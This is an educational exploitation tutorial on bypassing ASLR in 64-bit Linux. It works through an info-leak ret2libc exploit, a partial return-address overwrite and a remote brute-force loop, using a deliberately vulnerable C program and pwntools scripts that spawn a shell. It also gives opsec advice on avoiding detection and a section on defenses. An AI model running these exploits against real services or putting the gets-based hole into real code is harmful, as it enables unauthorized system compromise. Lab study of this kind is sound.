Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Address Space Layout Randomization (ASLR) is the mitigation that turns most memory-corruption bugs from one-shot kills into puzzles. Instead of the stack, heap, shared libraries, and (with PIE) the executable itself living at fixed, predictable addresses, the loader randomizes their base each run. An attacker who wants to redirect execution to system, to a one_gadget, or to a stack buffer holding shellcode no longer knows where any of those targets are. ASLR does not fix the underlying bug — a buffer overflow is still a buffer overflow — it removes the constant the exploit depended on.
Defeating ASLR is therefore the first real objective of most modern userland exploitation. There are three families of technique, and a competent exploit usually combines them: obtain an information leak that discloses a runtime address and lets you compute a base; use a partial pointer overwrite that abuses the fact that ASLR only randomizes high bits, leaving the low 12 bits (one page) fixed; or brute force the entropy directly when it is small enough and the target restarts on crash. This article walks all three against a deliberately vulnerable 64-bit Linux binary.
Attack Prerequisites
ASLR is a probabilistic defense, so the technique you choose depends entirely on the shape of the bug and the environment. To make progress you generally need one of the following:
- A memory-disclosure primitive — a format-string bug (
printf(user)), an out-of-bounds read, an uninitialized-memory print, or an overflow that reaches a subsequentputs/writeof a pointer. Any leak of a stack, libc, heap, or PIE address is enough to break that region’s randomization. - A relative-position guarantee — pages within a single mapping keep constant relative offsets, so a leak of any libc address yields the libc base, and any PIE address yields the image base.
- Byte-granular control of a pointer for partial overwrites — typically a one- or two-byte overflow into a saved return address or a function pointer.
- A forking/respawning target for brute force — an
xinetd/socatservice or afork()server where a crash does not re-randomize the child relative to the parent, or where you simply get unlimited attempts. - Knowledge of the exact libc build so a single leaked symbol pins every other offset (use the leaked value’s low bits against a libc database).
How It Works
On x86-64 Linux, ASLR entropy is not uniform. The mmap region that holds shared libraries and the heap gets a large but finite amount of randomization; on a typical 64-bit kernel the library base has on the order of 28 bits of entropy (vm.mmap_rnd_bits defaults to 28). Crucially, randomization operates at page granularity: every mapping is aligned to a 0x1000-byte page, so the lowest 12 bits of every address are never randomized. The bytes of a symbol’s offset inside its page are a fixed property of the compiled binary. That single fact is the seam that partial overwrites exploit.
An information leak defeats ASLR outright for the leaked region. If you print a libc pointer — say the address of puts pulled from the GOT, or a stored __libc_start_main+offset return address on the stack — you subtract that symbol’s known offset within libc and recover the libc load base. From the base you can compute the address of system, /bin/sh, or a one_gadget. The whole region moves as one rigid block, so one leaked symbol unlocks all of them. The same logic applies to PIE (leak any code pointer, subtract the symbol’s file offset, get the image base) and to the stack (leak a saved frame pointer).
When you cannot leak, you exploit the fixed low bits directly. Because the low 12 bits of a return address are invariant, overwriting only the least significant byte (or two) of a saved return address redirects control to a nearby location in the same page — or, if you overwrite one and a half bytes, a location whose top nibble you are guessing across only 4 bits of entropy. This is a partial pointer overwrite: you keep the randomized high bytes the target already contains and rewrite only the constant low portion, so the exploit works regardless of where ASLR placed the region. Brute force is the blunt fallback: if entropy is low (32-bit builds have as few as 8 bits on the stack) and the process respawns, you simply retry until the guess lands.
Vulnerable Code / Setup
A minimal program that both leaks a libc address and offers a stack overflow. The printf prints the address of puts, then gets provides the overflow:
// vuln.c
#include <stdio.h>
#include <string.h>
void vuln(void) {
char buf[64];
// Information leak: hand the attacker a live libc pointer.
printf("puts is at %p\n", (void *)&puts);
// Overflow: gets() has no bounds check at all.
gets(buf);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
CBuild it non-PIE with an executable-friendly layout so the focus stays on libc ASLR, and confirm the mitigation state with checksec:
gcc -fno-stack-protector -no-pie -o vuln vuln.c
# Ensure system-wide ASLR is on (2 = full randomization):
cat /proc/sys/kernel/randomize_va_space # -> 2
$ checksec --file=./vuln
RELRO STACK CANARY NX PIE
Partial No canary NX enab No PIE
BashThe state matters: NX is on, so we cannot execute the stack and must reuse libc (ret2libc). PIE is off, so the binary’s own code and GOT are at fixed addresses — but libc is still randomized, which is exactly what the leak defeats. Without the printf leak we would fall back to partial overwrite or brute force.
Walkthrough / Exploitation
First, the leak-based ret2libc. We parse the printed puts address, subtract puts‘s offset within this specific libc to get the base, then build a ret2libc chain calling system("/bin/sh"). pwntools does the arithmetic for us:
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
# 1) Parse the leaked libc pointer and rebase libc.
p.recvuntil(b'puts is at ')
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.symbols['puts'] # slide the whole ELF
log.success('libc base = %#x' % libc.address)
PythonWith libc rebased, every symbol pwntools reports is now a live runtime address. Because the System V AMD64 ABI passes the first argument in RDI, we need a pop rdi; ret gadget — the non-PIE binary provides one at a fixed address, and a ret is added to fix stack alignment before system (glibc’s system uses SSE instructions that fault on a misaligned stack):
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0] # 16-byte alignment
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload = b'A' * 64 + b'B' * 8 # fill buf + saved RBP
payload += p64(ret) # align stack to 16
payload += p64(pop_rdi) + p64(binsh) # rdi = &"/bin/sh"
payload += p64(system) # system("/bin/sh")
p.sendline(payload)
p.interactive() # $ id
PythonNow the no-leak case: a partial overwrite. Suppose instead of libc we only need to redirect flow to a win/one_gadget that sits in the same page-neighborhood as the existing saved return address. We overwrite just the low bytes and leave the randomized high bytes intact. Sending exactly two bytes rewrites 16 bits, of which the top 4 are guessed — 1 in 16 attempts succeeds:
# Overwrite only the low 2 bytes of the saved return address.
# The high bytes keep libc's real (randomized) upper address.
target_low = 0x2345 # low 12 bits fixed + 4 guessed bits
payload = b'A' * 72 + p16(target_low)
# Note: p16 writes 2 bytes with no NUL terminator, so a following
# read()/fread() (NOT gets, which stops on newline) is preferred to
# avoid truncation of the partial write.
PythonFinally, brute force. Against a respawning service where full-address writes are needed but entropy is modest, loop until a guessed base lands. The tell is a changed response — a shell banner instead of a crash:
from pwn import *
guess = 0x7f0000000000 # candidate libc base pattern
for i in range(4096): # ~12 effective bits in this scenario
try:
io = remote('target', 1337)
io.sendline(b'A'*72 + p64(guess + 0x4f550)) # guessed one_gadget
io.sendline(b'id')
r = io.recvline(timeout=1)
if b'uid=' in r:
log.success('hit on attempt %d' % i); io.interactive()
io.close()
except EOFError:
io.close() # crash -> retry
PythonNotes
Note: A single leaked pointer only rebases the region it belongs to. A stack leak does not give you libc, and a libc leak does not give you the stack or a PIE image base. Identify which region each leaked value lives in (compare against
/proc/PID/mapsduring development) and lean on the fact that offsets within one mapping are build-constant, not run-constant.
Opsec: Brute force is loud: it produces a burst of segfaults, which land in
dmesg/journalctland in any crash-reporting pipeline (abrt,systemd-coredump). On a 64-bit target with full 28-bit mmap entropy, brute-forcing libc is impractical — that many crashes are both slow and trivially alerted on. Prefer a leak; reserve brute force for genuinely low-entropy (often 32-bit) or partial-overwrite scenarios.
Detection and Defense
ASLR is only as strong as its entropy and the absence of leaks, so defense is about maximizing both and detecting the noise attackers generate:
- Build Position-Independent Executables (
-fPIE -pie) so the main image is randomized too; a non-PIE binary hands attackers fixed gadgets and a fixed GOT. - Raise entropy where the platform allows — keep
kernel.randomize_va_space=2and, on 64-bit, keepvm.mmap_rnd_bitsat the maximum the kernel permits. - Eliminate info leaks — they are the master key. Compile with
-D_FORTIFY_SOURCE=2, avoid%p/uninitialized prints, and treat any pointer disclosure as a critical bug even without a corresponding write primitive. - Monitor for crash storms — repeated SIGSEGV from one client, coredumps in
systemd-coredump, orabrtreports are the signature of ASLR brute forcing. - Layer with a stack canary and Full RELRO so that even a landed guess must still clear a canary and cannot rewrite a now-read-only GOT.
Real-World Impact
ASLR bypasses are a routine, expected phase of exploitation rather than an exotic technique. The classic demonstration that low-entropy ASLR is brute-forceable is Shacham et al.’s 2004 “On the Effectiveness of Address-Space Randomization,” which showed 32-bit PaX ASLR falling in seconds against a forking server. In modern CTFs and real client engagements, the pattern is invariant: find a leak, rebase libc, drop into a ret2libc or one_gadget chain. Partial-overwrite tricks remain a staple against binaries where no clean full-pointer leak is available but a byte-granular write into a saved return address or GOT entry is.
Conclusion
ASLR raises the cost of exploitation but does not change the fact that a corrupted pointer is game over once you know where to point it. The three approaches — leak, partial overwrite, brute force — map cleanly onto the structure of the entropy: a leak defeats a whole region at once, a partial overwrite abuses the fixed low 12 bits that ASLR never touches, and brute force grinds down small entropy when a target respawns. Master identifying which region a leaked value belongs to and computing bases from build-constant offsets, and ASLR becomes a speed bump rather than a wall.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments